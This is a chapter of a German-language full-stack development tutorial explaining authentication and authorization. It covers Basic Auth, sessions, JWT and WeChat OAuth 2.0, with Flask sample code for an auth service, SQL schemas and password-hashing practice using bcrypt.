Skip to content
Main Navigation StartAnfänger & PMFull Stack EntwicklungFortgeschrittene EntwicklungAnhang

Deutsch

简体中文
English
日本語
繁體中文
한국어
Español
Français
العربية
Tiếng Việt

Deutsch

简体中文
English
日本語
繁體中文
한국어
Español
Français
العربية
Tiếng Việt

Appearance

Sidebar Navigation

I. Computergrundlagen

Fullstack-Entwicklung im Zeitalter des Vibe Coding

Was passiert vom Drücken des Power-Knopfes bis zum Besuch einer Website?

Vom Transistor zur CPU

Computerarchitektur

Betriebssystem: Dem Computer einen „Generalmanager" anstellen

Was ist Datenkodierung und -übertragung?

Der Browser ist ein Betriebssystem

Datenstrukturen

Einführung in algorithmisches Denken

Die Landkarte der Programmiersprachen

Einführung in die Compiler-Theorie

Einführung in Typsysteme

II. Werkzeuge und Umgebung

Grundlagen der Integrierten Entwicklungsumgebung (IDE)

Kommandozeile und Shell-Skripte

Git: Die Zeitmaschine fur Code

Umgebungsvariablen und PATH

Ports und localhost

SSH und Schlüsselauthentifizierung

Paketmanager

Die Kunst des Debuggens

Reguläre Ausdrücke

III. Browser und Frontend

JavaScript Deep Dive

TypeScript Deep Dive

Frontend-Frameworks – Ein tiefer Einblick

Browser-Rendering-Pipeline

HTML / CSS-Layoutsystem

JavaScript-Laufzeitumgebung: Ein tiefgehender Leitfaden

Das Wesen von Frontend-Frameworks

Philosophie des State-Managements

Routing & Navigation

Grafik und Animation (Canvas und seine Freunde)

Echtzeit-Kommunikationsmechanismen (Polling / SSE / WebSocket)

Messung und Optimierung der Web-Performance

Frontend-Engineering im Überblick

Frontend-Projektarchitektur-Design

Die verborgenen Dimensionen von Webseiten: Internationalisierung und Barrierefreiheit

IV. Server und Backend

Backend-Sprachen im Vergleich

Client-Sprachen (Swift / Kotlin / Dart)

Cross-Plattform-Lösungen (React Native / Flutter / Electron / Tauri)

Das HTTP-Protokoll: Die "Kommunikationssprache" von Frontend und Backend

Die vollständige Reise einer Anfrage

Das Wesen von Web-Frameworks

API-Einführung: Von null an verstehen, wie "Programme miteinander sprechen"

API-Design: Das "Kommunikationsprotokoll" zwischen Frontend und Backend

Serialisierung: Die "Übersetzung" von Daten

Authentifizierungs- und Autorisierungssystem

Nebenläufigkeit, Asynchronität & Multithreading

Cache-Ebenen und -Strategien

Message Queues und ereignisgesteuerte Architektur

Asynchrone Aufgabenwarteschlangen und das Producer-Consumer-Modell

Rate-Limiting und Backpressure-Steuerung

Suchmaschinen-Prinzipien

Dateispeicherung und Objektspeicher

Backend-Schichtenarchitektur

Backend-Projektarchitektur-Design

Domänenspezifische Sprachen (DSL): "Code, der nicht wie Code aussieht" in der Backend-Welt

V. Daten

Datenbankgrundlagen (Indizes / Transaktionen / Abfrageoptimierung)

Datenmodelle im Überblick (Dokument / Graph / Zeitreihe / Vektor)

Event Tracking: Aufzeichnen, was Nutzer in der App tun

Datenanalyse: Kernkonzepte, Logik und tiefe Einblicke

A/B-Tests: Mit Daten „Entscheidungen treffen"

Datenvisualisierung und Dashboards

Data Governance und Datenqualität

VI. Architektur

Die Evolution vom Monolith zu Microservices

Herausforderungen verteilter Systeme

Hochverfügbarkeit und Katastrophenwiederherstellung

Systemdesign-Methodik

VII. Infrastruktur

Linux-Grundlagen

Docker-Containerisierung

Kubernetes-Orchestrierung

CI / CD Automatisierung

Domainnamen, DNS und HTTPS

Load Balancing und Gateway

Gateway und Reverse Proxy

Cloud-Plattformen in der Praxis

Cloud-Identitaets- und Zugriffsverwaltung

Object Storage und CDN

Infrastructure as Code

Monitoring, Logging und Alerting

Fehlerbehebung und Incident-Response

VIII. Künstliche Intelligenz

KI-Kurzgeschichte: Von symbolischer Logik zu hundertmilliardenparametrigen großen Modellen

Neuronale Netze und Deep Learning

Transformer und Attention-Mechanismus: Die Kern-Engine großer Modelle

Funktionsweise von Large Language Models

Prompt Engineering (Prompt Engineering)

Context Engineering

Multimodale Modelle (Vision / Audio / Video)

Prinzipien der Bildgenerierung

Prinzipien der Sprachsynthese und -erkennung

Embedding und Vektorsuche

RAG: Retrieval-Augmented Generation

AI Agent und Tool Calling

KI-Agent-Protokolle (MCP & A2A)

Modell-Fine-Tuning und Deployment

KI-native Anwendungsentwicklung

KI-Fähigkeitslexikon

IX. Engineering-Qualität

Code-Qualität und Refactoring

Teststrategien

Entwurfsmuster

Sicherheitsdenken und Grundlagen der Angriffs- und Verteidigung

Technische Dokumentation

Open-Source-Zusammenarbeit

Methodik der Technologieauswahl

Seitennavigation

Authentifizierungs- und Autorisierungssystem ​

💡 Lernleitfaden: Dieses Kapitel führt dich tief in das "Zugangskontrollsystem" des Backends ein – Authentifizierung und Autorisierung. Wir beginnen mit der grundlegendsten Frage "Wer bist du?" und arbeiten uns Schritt für Schritt durch moderne Authentifizierungslösungen wie Session, JWT und OAuth 2.0.

🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

0. Einleitung: Die "Zugangskontrolle" des Systems ​

Warum bist du bei WeChat nach dem Schließen und erneuten Öffnen immer noch eingeloggt? Woher weiß Bilibili, ob du Premium-Mitglied oder normaler Benutzer bist? Warum musst du kein Passwort eingeben, wenn du dich mit deinem WeChat-QR-Code bei einer Drittanbieter-Website anmeldest?

Hinter all dem steckt ein zentrales System: Authentifizierung & Autorisierung (Authentication & Authorization).

Stell dir das Backend-System wie ein großes Gebäude vor:

  • Authentifizierung (Authentication): Bestätigt "Wer bist du?" (Ausweis/Zugangskarte überprüfen).
  • Autorisierung (Authorization): Bestätigt "Wohin darfst du gehen?" (VIPs dürfen in die VIP-Lounge, normale Benutzer nicht).

0.1 Warum Authentifizierung? ​

Es gibt nur einen Grund: Ressourcen schützen.

  • Datenschutz: Deine persönlichen Daten und Chat-Verläufe kannst nur du sehen.
  • Berechtigungskontrolle: Administratoren können Benutzer löschen, normale Benutzer nicht.
  • Missbrauchsprävention: Verhindert böswillige Aufrufe und API-Missbrauch.
🧰 Four Common Authentication Credentials
Choose a method to see what the request looks like, where it fits, and the common pitfalls.
What the request looks like
GET /api/profile
Authorization: Basic <base64(username:password)>
Base64 is not encryption. Use HTTPS, and avoid it for public production systems.
When to use it, and when not to
✅ Good fit
  • Very simple and supported by every client
  • Useful for internal or temporary debugging tools
⚠️ Poor fit / risks
  • Sends the password on every request, which is risky
  • No real logout unless the server changes the password
  • Not a good fit for modern product systems
Rule of thumb
Authenticate first, then authorize. Credentials only prove identity; authorization must always be enforced on the server.

0.2 Interaktive Demo: Login-Prozess ​

Lass uns anhand einer realistischen Login-Demo verstehen, wie Authentifizierung und Autorisierung funktionieren.

🔐 Authentication Flow Demo
Simulate login to understand the difference between authentication and authorization.
Choose auth method:
Login form
💡 Tip
Try username admin,password 123456
📊 Data Flow Visualization

Kernpunkt: Authentifizierung ist die erste Verteidigungslinie. Alle sensiblen Operationen müssen zuerst die Identität überprüfen.


1. Grundkonzepte: Authentifizierung vs. Autorisierung ​

1.1 Authentifizierung (Authentication): Wer bist du? ​

Bestätigt die Identität des Benutzers.

  • Beispiel: Benutzername und Passwort eingeben, Fingerabdruck scannen, Gesichtserkennung.
  • Ausgabe: Ein Token, das "dich" repräsentiert.
  • Englische Abkürzung: AuthN

1.2 Autorisierung (Authorization): Was darfst du tun? ​

Bestätigt, welche Berechtigungen ein Benutzer hat.

  • Beispiel: Administratoren können Artikel löschen, normale Benutzer können nur liken.
  • Ausgabe: Zugriff erlauben oder verweigern.
  • Englische Abkürzung: AuthZ

1.3 Die Beziehung zwischen beiden ​

Benutzeranfrage → Authentifizierung (Wer bist du?) → Autorisierung (Darfst du das?) → Geschäftslogik ausführen
                   ↓                                    ↓
              Identität prüfen                    Berechtigungen prüfen
              (Token gültig?)                     (Hast du delete-Berechtigung?)
🪪 AuthN vs 🛂 AuthZ: What Happens to a Request?
Choose who is making the request and what they want to do to see where authentication and authorization apply.
Choose request
In a real system, authentication happens first by parsing a cookie or JWT, while authorization happens in routing or business logic with RBAC/ABAC.
Simulation result
AuthN (authentication)Fail
AuthZ (authorization)Deny
HTTP401 Unauthorized
Request: view_profile
AuthN: FAIL - Missing valid credential such as cookie or JWT
AuthZ: DENY - Authentication failed, so authorization cannot be evaluated
Result: 401 Unauthorized
Key points
  • Authentication failure:the system does not know who you are, so it usually returns 401.
  • Authenticated but unauthorized:the system knows who you are, but you cannot perform the action, so it usually returns 403.
  • Authorization rules belong on the server:do not trust whether the frontend shows a button; that is only UX.

Kernpunkt: Erst authentifizieren, dann autorisieren. Nur wenn "Wer bist du?" bestätigt ist, kann "Was darfst du tun?" beurteilt werden.


2. Evolution der Lösungen ​

2.1 Erste Generation: HTTP Basic Authentication ​

Die älteste Lösung – Benutzername und Passwort werden direkt in den HTTP-Header gesetzt.

http
GET /api/user/profile HTTP/1.1
Host: example.com
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
                      (base64("username:password"))
  • Vorteile: Einfach, wird von allen Browsern unterstützt.
  • Nachteile:
    • Unsicher (Base64 ist dekodierbar, quasi Klartext).
    • Bei jeder Anfrage wird das Passwort mitgesendet (leicht abfangbar).
    • Kein aktives Ausloggen möglich (außer durch Schließen des Browsers).

Fazit: Nur für interne Testwerkzeuge geeignet, niemals in Produktion einsetzen.

2.2 Zweite Generation: Session + Cookie ​

Der Klassiker der Webentwicklung.

Ablauf:

1. Benutzer loggt sich ein (POST /login)
   → Server überprüft Benutzername und Passwort
   → Erstellt eine Session (im Server-Arbeitsspeicher oder Redis)
   → Gibt Set-Cookie: session_id=abc123 zurück

2. Nachfolgende Anfragen
   → Browser sendet automatisch Cookie: session_id=abc123 mit
   → Server sucht die Session anhand der session_id
   → Wenn gefunden, gilt "Du bist du"

Codebeispiel:

python
# Backend (Python Flask)
from flask import session, request

@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    # Benutzername und Passwort überprüfen
    user = db.authenticate(username, password)
    if user:
        # Session erstellen
        session["user_id"] = user.id
        session["role"] = user.role
        return {"status": "success"}
    else:
        return {"error": "Benutzername oder Passwort falsch"}, 401

@app.route("/api/admin/users")
def get_users():
    # Session prüfen
    if "user_id" not in session:
        return {"error": "Nicht eingeloggt"}, 401

    # Berechtigung prüfen
    if session.get("role") != "admin":
        return {"error": "Unzureichende Berechtigungen"}, 403

    # Geschäftslogik ausführen
    users = db.get_all_users()
    return {"users": users}
🍪 Session + Cookie: Stateful Login
The demo advances manually so each state is visible before the next step.
Browser (client)
Cookie Jar
No cookie yet
Request in this step
(click start)
Server
Session Store(Redis/Memory)
No session yet
Response in this step
Workflow notes

Vorteile:

  • Einfach und intuitiv, leicht verständlich.
  • Serverseitiges aktives Ausloggen möglich (Session löschen).

Nachteile:

  • Server ist zustandsbehaftet: Sessions müssen gespeichert werden, mehrere Server benötigen gemeinsamen Speicher (z. B. Redis).
  • Cross-Domain schwierig: Cookies sind standardmäßig nicht cross-domain-fähig (CORS-Problematik).
  • CSRF-Angriffe: Bösartige Websites können deine Cookies missbrauchen.

Fazit: Geeignet für traditionelle Webanwendungen (Server-Side Rendering), ungeeignet für Mobile und moderne SPAs.

2.3 Dritte Generation: Token (JWT) ​

Der Mainstream-Ansatz für moderne Webanwendungen.

Kernidee: Kein serverseitiger Zustand – Benutzerinformationen werden verschlüsselt in einen Token verpackt und clientseitig gespeichert.

JWT-Struktur:

JWT = Header.Payload.Signature

Beispiel:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsInJvbGUiOiJhZG1pbiIsImV4cCI6MTYxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
 |--------------------------------| |-----------------------------------------------| |----------------------------|
           Header                           Payload                                      Signature
  • Header: Algorithmus-Informationen (z. B. {"alg": "HS256", "typ": "JWT"}).
  • Payload: Benutzerinformationen (z. B. {"user_id": 123, "role": "admin", "exp": 1616239022}).
  • Signature: Signatur (manipulationssicher).

Ablauf:

python
# 1. Benutzer-Login
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password = request.json["password"]

    user = db.authenticate(username, password)
    if user:
        # JWT generieren
        token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "exp": datetime.now() + timedelta(hours=24)  # 24 Stunden gültig
            },
            SECRET_KEY,
            algorithm="HS256"
        )
        return {"token": token}
    else:
        return {"error": "Benutzername oder Passwort falsch"}, 401

# 2. Nachfolgende Anfragen
@app.route("/api/admin/users")
def get_users():
    # Token aus dem Header holen
    auth_header = request.headers.get("Authorization")
    if not auth_header or not auth_header.startswith("Bearer "):
        return {"error": "Kein Token vorhanden"}, 401

    token = auth_header.split(" ")[1]

    try:
        # Token verifizieren und parsen
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    except jwt.ExpiredSignatureError:
        return {"error": "Token abgelaufen"}, 401
    except jwt.InvalidTokenError:
        return {"error": "Token ungültig"}, 401

    # Berechtigung prüfen
    if payload.get("role") != "admin":
        return {"error": "Unzureichende Berechtigungen"}, 403

    # Geschäftslogik ausführen
    users = db.get_all_users()
    return {"users": users}
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661510,
  "exp": 1781665110
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

Vorteile:

  • Zustandslos: Server speichert keine Sessions, einfach horizontal skalierbar.
  • Cross-Domain-freundlich: Im Header platziert, nicht durch Cookie-Cross-Domain-Beschränkungen limitiert.
  • Mobile-freundlich: Native Apps können es problemlos nutzen.
  • Informationsreich: Der Payload kann Benutzerinformationen, Berechtigungen usw. speichern.

Nachteile:

  • Kein aktives Ausloggen: Einmal ausgestellte Tokens bleiben bis zum Ablauf gültig (außer mit Blacklist).
  • Payload sichtbar: Base64-kodiert, keine sensiblen Daten speichern (z. B. Passwörter).
  • Token zu groß: Wird bei jeder Anfrage mitgesendet, mehrere hundert Bytes.

Fazit: Der Standardansatz für moderne Web- und Mobile-Anwendungen.

🧩 Session vs JWT: How Do You Choose?
Pick your constraints and get a recommendation with reasons. This is more useful than memorizing a rule.
Your scenario
Recommendation
Session + Cookie
The safest default for traditional Web apps
Why
  • Same-site Web plus immediate logout needs are easier to control with sessions.
  • For multiple instances, use a shared session store such as Redis.
Implementation tips
  • Cookie: HttpOnly + Secure + SameSite=Lax/Strict depending on the product
  • CSRF: SameSite plus CSRF token for layered defense
  • Session store: Redis + TTL + renewal strategy such as sliding expiration
Common misconceptions
  • JWT is not automatically more secure:JWT is only stateless. Security depends on keys, expiration, storage, and authorization design.
  • Cookie does not automatically mean CSRF:SameSite plus CSRF tokens can significantly reduce risk.
  • Do not treat third-party OAuth tokens as your system tokens:They have different purposes.

3. OAuth 2.0: Drittanbieter-Login ​

Du kennst diese Buttons sicher: "Mit WeChat anmelden", "Mit Google anmelden".

Das ist OAuth 2.0: ein Autorisierungs-Framework (keine Authentifizierung!).

3.1 Kernrollen ​

RolleBeschreibungBeispiel
Resource OwnerRessourcenbesitzer (Benutzer)Du
ClientDrittanbieter-AnwendungEine Website
Authorization ServerAutorisierungsserverWeChat, Google
Resource ServerRessourcenserverWeChat-Benutzerdaten-API

3.2 Authorization Code Flow ​

Der sicherste Modus, geeignet für Backend-Server.

Ablauf:

1. Benutzer klickt auf "Mit WeChat anmelden"
   → Weiterleitung zur WeChat-Autorisierungsseite
   https://open.weixin.qq.com/connect/qrconnect?
     appid=APPID&
     redirect_uri=https://yourapp.com/callback&
     response_type=code&
     scope=snsapi_login&
     state=STATE

2. Benutzer scannt den QR-Code und stimmt der Autorisierung zu
   → WeChat leitet zurück zu deiner Website
   https://yourapp.com/callback?code=AUTHORIZATION_CODE&state=STATE

3. Dein Backend tauscht den code gegen ein access_token
   POST https://api.weixin.qq.com/sns/oauth2/access_token
   {
     "appid": "APPID",
     "secret": "SECRET",
     "code": "AUTHORIZATION_CODE",
     "grant_type": "authorization_code"
   }
   → Antwort: { "access_token": "...", "openid": "..." }

4. Mit access_token Benutzerinformationen abrufen
   GET https://api.weixin.qq.com/sns/userinfo?
     access_token=ACCESS_TOKEN&
     openid=OPENID
   → Antwort: { "nickname": "Zhang San", "headimgurl": "..." }
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

Codebeispiel:

python
from flask import request, redirect

@app.route("/login/wechat")
def login_wechat():
    # 1. Zur WeChat-Autorisierungsseite weiterleiten
    auth_url = (
        "https://open.weixin.qq.com/connect/qrconnect"
        f"?appid={APPID}"
        f"&redirect_uri={urlencode(REDIRECT_URI)}"
        "&response_type=code"
        "&scope=snsapi_login"
        f"&state={generate_state()}"
    )
    return redirect(auth_url)

@app.route("/callback")
def wechat_callback():
    # 2. Code abrufen
    code = request.args.get("code")
    state = request.args.get("state")

    # State verifizieren (CSRF-Schutz)
    if not verify_state(state):
        return {"error": "Invalid state"}, 400

    # 3. Code gegen access_token tauschen
    token_resp = requests.post(
        "https://api.weixin.qq.com/sns/oauth2/access_token",
        params={
            "appid": APPID,
            "secret": SECRET,
            "code": code,
            "grant_type": "authorization_code"
        }
    ).json()

    access_token = token_resp["access_token"]
    openid = token_resp["openid"]

    # 4. Benutzerinformationen abrufen
    user_info = requests.get(
        "https://api.weixin.qq.com/sns/userinfo",
        params={
            "access_token": access_token,
            "openid": openid
        }
    ).json()

    # 5. Lokalen Benutzer erstellen oder aktualisieren
    user = db.get_or_create_user(
        openid=openid,
        nickname=user_info["nickname"],
        avatar=user_info["headimgurl"]
    )

    # 6. Eigenen System-JWT generieren
    token = jwt.encode(
        {"user_id": user.id, "exp": ...},
        SECRET_KEY
    )

    return {"token": token}

Kernpunkte:

  • code ist nur einmal verwendbar: Nach Gebrauch sofort ungültig, schützt vor Abfangen.
  • state schützt vor CSRF: Generiere einen zufälligen String, verifiziere ihn beim Callback, um gefälschte bösartige Websites zu verhindern.
  • redirect_uri muss übereinstimmen: Vorab auf der WeChat Open Platform registrieren, um Redirect-Angriffe zu verhindern.

3.3 Weitere Modi ​

ModusAnwendungsfallSicherheit
Authorization CodeBackend-Server⭐⭐⭐⭐⭐
ImplicitReine Frontend-Anwendungen (SPA)⭐⭐⭐ (nicht empfohlen)
Resource Owner PasswordHochvertrauenswürdige Anwendungen (z. B. offizielle App)⭐⭐
Client CredentialsServer-zu-Server-Kommunikation (ohne Benutzer)⭐⭐⭐⭐
🔑 OAuth2: Third-Party Login with Authorization Code Flow
Walk through the common Authorization Code Flow, preferably with PKCE. The demo advances manually.
Roles
Client (your app)
Authorization Server (WeChat, Google, etc.)
Resource Server (your API)
The core idea of OAuth2: your app no longer stores the user password for the third-party service. It receives an authorization code or token and uses that to fetch user information.
What to do in this step
Click start
Request / command example
(shown after you click start)
This is an example request, not a real request sent from your computer. Replace parameters such as client_id and redirect_uri with your own values.
Four things to remember
  • redirect_uri must be allowlisted:This prevents attackers from stealing the code through their own site.
  • state must be verified:It protects against CSRF, including login CSRF.
  • code is one-time and expires quickly:This limits the impact of leakage.
  • access tokens should be short-lived and refresh tokens protected:A refresh token is more like a long-term key.

4. Praxis: Ein vollständiges Authentifizierungssystem entwerfen ​

4.1 Anforderungsanalyse ​

  • Multi-Plattform-Unterstützung: Web, iOS, Android.
  • Drittanbieter-Login: WeChat, Google.
  • Berechtigungskontrolle: Normaler Benutzer, VIP, Administrator.
  • Sicherheit: Schutz vor Missbrauch, Hijacking und Replay-Angriffen.

4.2 Architekturdesign ​

┌─────────────┐
│   Client     │
└──────┬──────┘
       │
       ▼
┌─────────────────────────────────┐
│         API Gateway             │
│  - Rate Limiting                │
│  - Token Validation             │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│      Auth Service               │
│  - Registrierung, Login         │
│  - Token-Ausstellung & -Prüfung │
│  - OAuth 2.0-Integration        │
└──────┬──────────────────────────┘
       │
       ▼
┌─────────────────────────────────┐
│    Business Services            │
│  - User Service                 │
│  - Order Service                │
│  - Payment Service              │
└─────────────────────────────────┘

4.3 Datenbankdesign ​

sql
-- Benutzertabelle
CREATE TABLE users (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    username VARCHAR(50) UNIQUE NOT NULL,
    password_hash VARCHAR(255) NOT NULL,  -- bcrypt-Hash
    email VARCHAR(100) UNIQUE,
    role ENUM('user', 'vip', 'admin') DEFAULT 'user',
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    INDEX idx_username (username),
    INDEX idx_email (email)
);

-- Tabelle für Drittanbieter-Login-Verknüpfungen
CREATE TABLE user_auth_providers (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    user_id BIGINT NOT NULL,
    provider ENUM('wechat', 'google', 'github') NOT NULL,
    provider_user_id VARCHAR(100) NOT NULL,  -- Benutzer-ID des Drittanbieters
    access_token TEXT,  -- verschlüsselt gespeichert
    refresh_token TEXT,
    expires_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    UNIQUE KEY uk_provider_provider_user_id (provider, provider_user_id),
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE CASCADE
);

-- Token-Blacklist (für aktives Ausloggen)
CREATE TABLE token_blacklist (
    id BIGINT PRIMARY KEY AUTO_INCREMENT,
    token_jti VARCHAR(100) UNIQUE NOT NULL,  -- JWT JTI (eindeutige Kennung)
    expired_at TIMESTAMP NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    INDEX idx_expired_at (expired_at)
);
🧭 Authentication Evolution: From Basic to OAuth2
Click a card to build intuition for which scenario fits which approach.
🍪 Session + Cookie
The server stores the session, and the browser stores a session_id cookie. Later requests attach the cookie automatically.
✅ Good fit
  • Server can actively revoke sessions
  • Excellent fit for same-origin SSR
  • Mature operational model
⚠️ Main risks
  • Server-side state must be shared or scaled
  • Higher CSRF risk without defenses
  • Cross-origin flows are more complex
POST /login
→ Set-Cookie: session_id=abc; HttpOnly; Secure; SameSite=Lax

GET /api/profile
Cookie: session_id=abc

4.4 Code-Implementierung ​

python
# auth_service.py
import bcrypt
import jwt
from datetime import datetime, timedelta

SECRET_KEY = "your-secret-key-here"  # In Produktion Umgebungsvariable verwenden

class AuthService:
    def register(self, username: str, password: str, email: str = None):
        # 1. Prüfen, ob Benutzername bereits existiert
        if db.get_user_by_username(username):
            raise ValueError("Benutzername existiert bereits")

        # 2. Passwort hashen (bcrypt)
        password_hash = bcrypt.hashpw(
            password.encode('utf-8'),
            bcrypt.gensalt(rounds=12)
        ).decode('utf-8')

        # 3. Benutzer erstellen
        user = db.create_user(
            username=username,
            password_hash=password_hash,
            email=email
        )

        # 4. Tokens ausstellen
        return self._generate_tokens(user)

    def login(self, username: str, password: str):
        # 1. Benutzer abfragen
        user = db.get_user_by_username(username)
        if not user:
            raise ValueError("Benutzername oder Passwort falsch")

        # 2. Passwort überprüfen
        if not bcrypt.checkpw(
            password.encode('utf-8'),
            user.password_hash.encode('utf-8')
        ):
            raise ValueError("Benutzername oder Passwort falsch")

        # 3. Tokens ausstellen
        return self._generate_tokens(user)

    def _generate_tokens(self, user):
        now = datetime.now()

        # Access Token (kurzlebig, z. B. 1 Stunde)
        access_token = jwt.encode(
            {
                "user_id": user.id,
                "role": user.role,
                "type": "access",
                "iat": now,
                "exp": now + timedelta(hours=1),
                "jti": str(uuid4())  # eindeutige Kennung
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        # Refresh Token (langlebig, z. B. 30 Tage)
        refresh_token = jwt.encode(
            {
                "user_id": user.id,
                "type": "refresh",
                "iat": now,
                "exp": now + timedelta(days=30),
                "jti": str(uuid4())
            },
            SECRET_KEY,
            algorithm="HS256"
        )

        return {
            "access_token": access_token,
            "refresh_token": refresh_token,
            "token_type": "Bearer",
            "expires_in": 3600  # Ablaufzeit des access_token (Sekunden)
        }

    def refresh(self, refresh_token: str):
        try:
            payload = jwt.decode(refresh_token, SECRET_KEY, algorithms=["HS256"])
            if payload.get("type") != "refresh":
                raise ValueError("Invalid token type")

            user = db.get_user_by_id(payload["user_id"])
            return self._generate_tokens(user)
        except jwt.ExpiredSignatureError:
            raise ValueError("Refresh Token abgelaufen")
        except jwt.InvalidTokenError:
            raise ValueError("Refresh Token ungültig")

    def logout(self, token: str):
        # Token zur Blacklist hinzufügen
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        db.add_to_blacklist(
            jti=payload["jti"],
            expired_at=datetime.fromtimestamp(payload["exp"])
        )

    def verify_token(self, token: str):
        try:
            payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])

            # Prüfen, ob Token auf der Blacklist steht
            if db.is_token_blacklisted(payload["jti"]):
                raise ValueError("Token wurde ausgeloggt")

            return payload
        except jwt.ExpiredSignatureError:
            raise ValueError("Token abgelaufen")
        except jwt.InvalidTokenError:
            raise ValueError("Token ungültig")

# API-Dekorator
def require_auth(auth_service: AuthService):
    def decorator(f):
        def wrapper(*args, **kwargs):
            # Token aus dem Header holen
            auth_header = request.headers.get("Authorization")
            if not auth_header or not auth_header.startswith("Bearer "):
                return {"error": "Kein Token vorhanden"}, 401

            token = auth_header.split(" ")[1]

            try:
                # Token verifizieren
                payload = auth_service.verify_token(token)
                # Benutzerinformationen in den Request-Kontext einfügen
                request.user = payload
                return f(*args, **kwargs)
            except ValueError as e:
                return {"error": str(e)}, 401

        return wrapper
    return decorator

def require_role(*roles):
    def decorator(f):
        def wrapper(*args, **kwargs):
            if not hasattr(request, "user"):
                return {"error": "Nicht eingeloggt"}, 401

            if request.user["role"] not in roles:
                return {"error": "Unzureichende Berechtigungen"}, 403

            return f(*args, **kwargs)
        return wrapper
    return decorator

# Verwendungsbeispiel
@app.route("/api/admin/users", methods=["GET"])
@require_auth(auth_service)
@require_role("admin")
def get_users():
    users = db.get_all_users()
    return {"users": users}

@app.route("/api/user/profile", methods=["GET"])
@require_auth(auth_service)
def get_profile():
    user = db.get_user_by_id(request.user["user_id"])
    return {"user": user}

@app.route("/auth/refresh", methods=["POST"])
def refresh_token():
    refresh_token = request.json.get("refresh_token")
    try:
        tokens = auth_service.refresh(refresh_token)
        return tokens
    except ValueError as e:
        return {"error": str(e)}, 401
🎫 JWT: Generate → Send → Verify → Decode
This demo advances manually by default so the walkthrough is not confused with a real security boundary.
User claims (payload example)
{
  "user_id": 123,
  "username": "alice",
  "role": "admin",
  "iat": 1781661510,
  "exp": 1781665110
}
Remember: a JWT payload is only Base64Url encoded. Anyone can decode it, so do not put passwords, phone numbers, or other sensitive data inside.
JWT token (illustration)
Header
...
.
Payload
...
.
Signature
...
Workflow notes

5. Sicherheits-Best Practices ​

5.1 Passwortspeicherung ​

❌ Falsche Vorgehensweise:

python
# Klartextspeicherung (absolut tabu!)
db.save_password(username, password)

# MD5 / SHA1-Hash (nicht sicher genug, anfällig für Rainbow-Table-Angriffe)
hash = md5(password)
db.save_password(username, hash)

✅ Richtige Vorgehensweise:

python
# bcrypt (adaptiver Hash, langsamer Hash schützt vor Brute-Force)
import bcrypt

password_hash = bcrypt.hashpw(
    password.encode('utf-8'),
    bcrypt.gensalt(rounds=12)  # Je höher rounds, desto sicherer, aber auch langsamer
)

# Verifizierung
if bcrypt.checkpw(password.encode('utf-8'), password_hash):
    # Passwort korrekt

Warum bcrypt?

  • Langsam: Absichtlich langsam gestaltet (Millisekunden-Bereich), schützt vor Brute-Force.
  • Adaptiv: rounds kann angepasst werden, wird mit stärkerer Hardware mitgezogen.
  • Gesalzen: Eingebautes zufälliges Salt, schützt vor Rainbow Tables.
🔐 Password Storage: Hash + Salt + Slow
See how PBKDF2, used here as a slow-hash demo, resists rainbow tables and brute force. Real projects usually choose bcrypt or Argon2.
Input
Higher values are slower and raise brute-force cost, but also slow down login.
salt
Output (simulation)
Algorithm: PBKDF2-SHA256Time: 0ms
derived key (hex)
(enter a password)
Conclusion
Do not store plaintext passwords. Do not use fast unsalted hashes such as MD5, SHA1, or direct SHA256 for passwords. Use a dedicated password hash or KDF with cost and salt.
🌈 Why Rainbow Tables Fail: Same Password + Different Salt → Different Result
salt A
hash A
-
salt B
hash B
-
Rainbow tables rely on precomputation. If the same password always produced the same hash, attackers could look it up quickly. Salt makes precomputation explode in cost.

5.2 Brute-Force-Schutz ​

  • Rate Limiting: Dieselbe IP / derselbe Benutzername, maximal 5 Versuche pro Minute.
  • CAPTCHA: Nach 3 Fehlversuchen CAPTCHA-Eingabe erforderlich.
